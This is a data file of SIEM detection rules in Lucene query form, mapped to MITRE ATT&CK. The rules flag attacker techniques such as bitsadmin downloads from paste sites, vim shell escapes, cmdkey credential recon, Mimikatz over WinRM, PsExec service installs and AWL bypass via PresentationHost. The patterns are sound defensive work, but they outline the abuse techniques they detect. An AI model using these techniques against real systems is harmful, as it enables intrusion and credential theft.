{"description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files. It can be abused to run malicious \".xbap\" files any bypass AWL", "enabled": false, "false_positives": ["Legitimate \".xbap\" being executed via \"PresentationHost\""], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ae8e7854-403b-bc6f-fa6e-9710722c76fd", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Application Whitelisting Bypass via PresentationHost.exe", "query": "(((process.executable:*\\\\presentationhost.exe OR winlog.event_data.OriginalFileName:\"PresentationHost.exe\") AND process.command_line:*.xbap*) AND (NOT (process.command_line:(*C\\:\\\\Windows\\\\* OR *C\\:\\\\Program\\ Files*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of \"ProtocolHandler\" to download files. Downloaded files will be located in the cache folder (for example - %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE)", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3323df95-f155-f4ca-8f64-67185fc6a9a3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "File Download Using ProtocolHandler.exe", "query": "(((process.executable.text:*\\\\protocolhandler.exe) OR (winlog.event_data.OriginalFileName:\"ProtocolHandler.exe\")) AND (((process.command_line.text:*\\\"ms\\-word* AND process.command_line.text:*.docx\\\"*)) OR (process.command_line.text:*\\ http*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of \"query.exe\" a system binary to exfil information such as \"sessions\" and \"processes\" for later use", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f4cc7a25-9c3c-f7f1-6cd4-e9100d92ce7b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Query Usage To Exfil Data", "query": "(process.executable.text:*\\\\Windows\\\\System32\\\\query.exe AND process.command_line.text:(*session\\ >* OR *process\\ >*))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of \"vim\" and it's sibilings as a GTFOBin to execute and proxy command and binary execution", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3124bdbb-8252-7d7f-788d-067fd82aa109", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vim GTFOBin Abuse - Linux", "query": "(process.executable.text:(*\\/vim OR *\\/rvim OR *\\/vimdiff) AND process.command_line.text:(*\\ \\-c\\ * OR *\\ \\-\\-cmd*) AND process.command_line.text:(*\\:\\!\\/* OR *\\:py\\ * OR *\\:lua\\ * OR *\\/bin\\/sh* OR *\\/bin\\/bash* OR *\\/bin\\/dash* OR *\\/bin\\/zsh* OR *\\/bin\\/fish*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1083"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of a CLSID folder name located in a suspicious location from the commandline as seen being used in IcedID", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Some FP is expected with some installers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7a050ee0-54eb-2d9c-0f2e-7a3476aa8919", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious CLSID Folder Name In Suspicious Locations", "query": "((process.command_line.text:(*\\\\AppData\\\\Roaming\\\\* OR *\\\\AppData\\\\Local\\\\Temp\\\\*) AND process.command_line.text:*\\\\\\{* AND process.command_line.text:*\\}\\\\*) AND (NOT (((process.executable.text:*\\\\\\{* AND process.executable.text:*\\}\\\\*)) OR ((NOT _exists_:process.executable.text)) OR ((process.executable.text:\"C:\\Windows\\System32\\drvinst.exe\")))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of a PowerShell command to dump the live memory of a Windows machine", "enabled": false, "false_positives": ["Diagnostics"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "16fe96ad-1033-f1f8-449e-df9f73f83123", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Live Memory Dump Using Powershell", "query": "(powershell.file.script_block_text:*Get\\-StorageDiagnosticInfo* AND powershell.file.script_block_text:*\\-IncludeLiveDump*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1003"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Max Altgelt"], "license": ""}
{"description": "Detects usage of an encoded/obfuscated version of an IP address (hex, octal...) via commandline", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "299cbb8e-d949-ee50-be28-d02e89914143", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Obfuscated IP Via CLI", "query": "(process.executable.text:(*\\\\ping.exe OR *\\\\arp.exe) AND (process.command_line.text:*\\ 0x* OR process.command_line.text:/ [0-9]{7,13}/))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of attrib with \"+s\" option to set suspcious script or executable as system files to hide them from users and make them unable to delete with simple rights. The rule limit the search to sepcific extensions and directories to avoid FP's", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7283a8b4-b573-abbf-512b-9cb4cf4d1212", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Set Suspicious Files as System Files Using Attrib", "query": "((process.executable:*\\\\attrib.exe AND process.command_line:*\\ \\+s* AND process.command_line:(*\\ %* OR *\\\\Users\\\\Public\\\\* OR *\\\\AppData\\\\Local\\\\* OR *\\\\ProgramData\\\\* OR *\\\\Downloads\\\\* OR *\\\\Windows\\\\Temp\\\\*) AND process.command_line:(*.bat* OR *.ps1* OR *.vbe* OR *.vbs* OR *.exe*)) AND (NOT (process.command_line:*\\\\Windows\\\\TEMP\\\\* AND process.command_line:*.exe*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of attrib.exe to hide files from users.", "enabled": false, "false_positives": ["igfxCUIService.exe hiding *.cui files via .bat script (attrib.exe a child of cmd.exe and igfxCUIService.exe is the parent of the cmd.exe)", "msiexec.exe hiding desktop.ini"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e4ef73bb-2666-66bb-a968-0fb84387ae4b", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Hiding Files with Attrib.exe", "query": "((process.executable:*\\\\attrib.exe AND process.command_line:*\\ \\+h\\ *) AND (NOT ((process.command_line:*\\\\desktop.ini\\ * OR (process.parent.executable:*\\\\cmd.exe AND process.command_line:\\+R\\ \\+H\\ \\+S\\ \\+A\\ \\\\*.cui AND process.parent.command_line:C\\:\\\\WINDOWS\\\\system32\\\\*.bat)))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sami Ruohonen"], "license": ""}
{"description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", "enabled": false, "false_positives": ["Legitimate activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "772a7252-6e6d-4aea-5b5c-939a52ef0fee", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Decode Base64 Encoded Text", "query": "(process.executable:*\\/base64 AND process.command_line:*\\-d*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", "enabled": false, "false_positives": ["Legitimate activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "772a7252-6e6d-4aea-5b5c-939a52ef0fee", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Decode Base64 Encoded Text", "query": "(process.executable:\"\\/usr\\/bin\\/base64\" AND process.command_line:*\\-d*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects usage of bitsadmin downloading a file from a suspicious domain", "enabled": false, "false_positives": ["Some legitimate apps use this, but limited."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "13b1c474-2784-c1d6-bf29-f6cc9a3cc097", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Bitsadmin Download from Suspicious Domain", "query": "(process.executable:*\\\\bitsadmin.exe AND process.command_line:(*\\ \\/transfer\\ * OR *\\ \\/create\\ * OR *\\ \\/addfile\\ *) AND process.command_line:(*raw.githubusercontent.com* OR *gist.githubusercontent.com* OR *pastebin.com* OR *cdn.discordapp.com\\/attachments\\/* OR *mediafire.com* OR *mega.nz* OR *ddns.net* OR *.paste.ee* OR *.hastebin.com* OR *.ghostbin.co\\/* OR *ufile.io* OR *storage.googleapis.com*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects usage of bitsadmin downloading a file to a suspicious target folder", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f0f80e72-0c43-ef4e-41e8-07bf91d1cb0e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bitsadmin Download to Suspicious Target Folder", "query": "(process.executable:*\\\\bitsadmin.exe AND process.command_line:(*\\ \\/transfer\\ * OR *\\ \\/create\\ * OR *\\ \\/addfile\\ *) AND process.command_line:(*C\\:\\\\Users\\\\Public\\\\* OR *%public%* OR *\\\\Desktop\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects usage of bitsadmin downloading a file to uncommon target folder", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e6e84aca-a1f9-f434-bd5f-03ddca8c8ec9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Bitsadmin Download to Uncommon Target Folder", "query": "(process.executable:*\\\\bitsadmin.exe AND process.command_line:(*\\ \\/transfer\\ * OR *\\ \\/create\\ * OR *\\ \\/addfile\\ *) AND process.command_line:(*C\\:\\\\Windows\\\\Temp\\\\* OR *%temp%* OR *C\\:\\\\ProgramData\\\\* OR *%ProgramData%* OR *\\\\AppData\\\\Local\\\\* OR *%AppData%*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects usage of bitsadmin downloading a file using an URL that contains an IP", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eca1f35e-467d-6cae-0b89-38da83781210", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bitsadmin Download File from IP", "query": "(process.executable:*\\\\bitsadmin.exe AND process.command_line:(*\\ \\/transfer\\ * OR *\\ \\/create\\ * OR *\\ \\/addfile\\ *) AND process.command_line:(*http\\:\\/\\/1* OR *http\\:\\/\\/2* OR *http\\:\\/\\/3* OR *http\\:\\/\\/4* OR *http\\:\\/\\/5* OR *http\\:\\/\\/6* OR *http\\:\\/\\/7* OR *http\\:\\/\\/8* OR *http\\:\\/\\/9* OR *https\\:\\/\\/1* OR *https\\:\\/\\/2* OR *https\\:\\/\\/3* OR *https\\:\\/\\/4* OR *https\\:\\/\\/5* OR *https\\:\\/\\/6* OR *https\\:\\/\\/7* OR *https\\:\\/\\/8* OR *https\\:\\/\\/9*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects usage of bitsadmin downloading a file with a suspicious extension", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "56f8fb2b-ba39-f6b2-13ad-2d0991c609a0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bitsadmin Download File with Suspicious Extension", "query": "(process.executable:*\\\\bitsadmin.exe AND process.command_line:(*\\ \\/transfer\\ * OR *\\ \\/create\\ * OR *\\ \\/addfile\\ *) AND process.command_line:(*.asax* OR *.ashx* OR *.asmx* OR *.asp* OR *.aspx* OR *.bat* OR *.cfm* OR *.cgi* OR *.chm* OR *.cmd* OR *.gif* OR *.jpeg* OR *.jpg* OR *.jsp* OR *.jspx* OR *.png* OR *.ps1* OR *.psm1* OR *.scf* OR *.sct* OR *.txt* OR *.vbe* OR *.vbs* OR *.war* OR *.wsf* OR *.wsh* OR *.zip* OR *.rar* OR *.dll*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects usage of bitsadmin downloading a file", "enabled": false, "false_positives": ["Some legitimate apps use this, but limited."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "df9a9ba2-2aae-6112-6c55-410359b0ac4a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Bitsadmin Download", "query": "((process.executable.text:*\\\\bitsadmin.exe AND ((process.command_line.text:(*\\ \\/create\\ * OR *\\ \\/addfile\\ *) AND process.command_line.text:*http*) OR process.command_line.text:*\\ \\/transfer\\ *)) OR process.command_line.text:*copy\\ bitsadmin.exe*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Michael Haag", "FPT.EagleEye"], "license": ""}
{"description": "Detects usage of certain functions and keywords that are used to manipulate security descriptors in order to potentially set a backdoor. As seen used in the DAMP project.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9f5319ce-7cbb-e2af-027f-894e168165c8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Persistence Via Security Descriptors - ScriptBlock", "query": "(powershell.file.script_block_text:*win32_Trustee* AND powershell.file.script_block_text:*win32_Ace* AND powershell.file.script_block_text:*.AccessMask* AND powershell.file.script_block_text:*.AceType* AND powershell.file.script_block_text:*.SetSecurityDescriptor* AND powershell.file.script_block_text:(*\\\\Lsa\\\\JD* OR *\\\\Lsa\\\\Skew1* OR *\\\\Lsa\\\\Data* OR *\\\\Lsa\\\\GBG*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of cmdkey to look for cached credentials", "enabled": false, "false_positives": ["Legitimate administrative tasks"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "72ed9f46-b0c7-f95f-5116-182ac01237e7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Cmdkey Cached Credentials Recon", "query": "((process.executable:*\\\\cmdkey.exe OR winlog.event_data.OriginalFileName:\"cmdkey.exe\") AND process.command_line:(*\\ \\/l* OR *\\ \\-l*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "(v=ws.11).aspx"], "timestamp_override": "event.ingested", "author": ["jmallette", "Florian Roth", "Nasreddine Bencherchali (update)"], "license": ""}
{"description": "Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "42f520f5-5d24-3f4d-f5f5-9721d690d805", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Findstr Launching .lnk File", "query": "(process.executable:*\\\\findstr.exe AND process.command_line:*.lnk)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1036", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}, {"id": "T1036", "name": "Masquerading", "reference": ""}, {"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Trent Liffick"], "license": ""}
{"description": "Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation", "enabled": false, "false_positives": ["Possible, different agents with a 8 character binary and a 4, 8 or 16 character service name"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "64501e72-2131-c1b6-5f0e-c34d40e599a1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Metasploit Or Impacket Service Installation Via SMB PsExec", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:/^%systemroot%\\\\[a-zA-Z]{8}\\.exe$/ AND winlog.event_data.ServiceName:/(^[a-zA-Z]{4}$)|(^[a-zA-Z]{8}$)|(^[a-zA-Z]{16}$)/ AND ServiceStartType:\"3\" AND winlog.event_data.ServiceType:\"0x10\") AND (NOT (winlog.event_data.ServiceName:\"PSEXESVC\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021", "T1569", "T1570"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}, {"id": "T1570", "name": "Lateral Tool Transfer", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bartlomiej Czyz", "Relativity"], "license": ""}
{"description": "Detects usage of mimikatz through WinRM protocol by monitoring access to lsass process by wsmprovhost.exe.", "enabled": false, "false_positives": ["low"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "436248ac-b6a5-641e-9228-6be82655d518", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Mimikatz through Windows Remote Management", "query": "((winlog.event_data.TargetImage:*\\\\lsass.exe AND process.executable:\"C\\:\\\\Windows\\\\system32\\\\wsmprovhost.exe\") AND (NOT (winlog.event_data.GrantedAccess:\"0x80000000\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Lateral Movement", "T1003", "T1021", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Patryk Prauze - ING Tech"], "license": ""}
{"description": "Detects usage of Msiexec.exe to install packages hosted remotely quietly", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8696a96b-86a8-95c5-5ff0-f7dda0a79de2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Msiexec Quiet Install From Remote Location", "query": "((process.executable.text:*\\\\msiexec.exe OR winlog.event_data.OriginalFileName:\"msiexec.exe\") AND process.command_line.text:(*\\/i* OR *\\-i* OR *\\/package* OR *\\-package* OR *\\/a* OR *\\-a* OR *\\/j* OR *\\-j*) AND process.command_line.text:(*\\/q* OR *\\-q*) AND process.command_line.text:(*http* OR *\\\\\\\\\\*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects usage of nimgrab, a tool bundled with the Nim programming framework, downloading a file. This can be normal behaviour on developer systems.", "author": ["frack113"], "enabled": false, "false_positives": ["Legitimate use of Nim on developer systems"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "65a24176-3abc-5322-c018-7825d08f3a50", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Nimgrab File Download", "query": "((process.executable.text:*\\\\nimgrab.exe) OR (winlog.event_data.Hashes:(*MD5\\=2DD44C3C29D667F5C0EF5F9D7C7FFB8B* OR *SHA256\\=F266609E91985F0FE3E31C5E8FAEEEC4FFA5E0322D8B6F15FE69F4C5165B9559* OR *IMPHASH\\=C07FDDD21D123EA9B3A08EEF44AAAC45*)) OR (md5:\"2DD44C3C29D667F5C0EF5F9D7C7FFB8B\") OR (sha256:\"F266609E91985F0FE3E31C5E8FAEEEC4FFA5E0322D8B6F15FE69F4C5165B9559\") OR (winlog.event_data.Imphash:\"C07FDDD21D123EA9B3A08EEF44AAAC45\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments", "enabled": false, "false_positives": ["Administrators or installed processes that leverage nohup"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "861de50f-7e6d-728e-d926-6d66bed29bc5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Nohup Execution", "query": "process.executable:*\\/nohup", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock @SecurePeacock", "SCYTHE @scythe_io"], "license": ""}
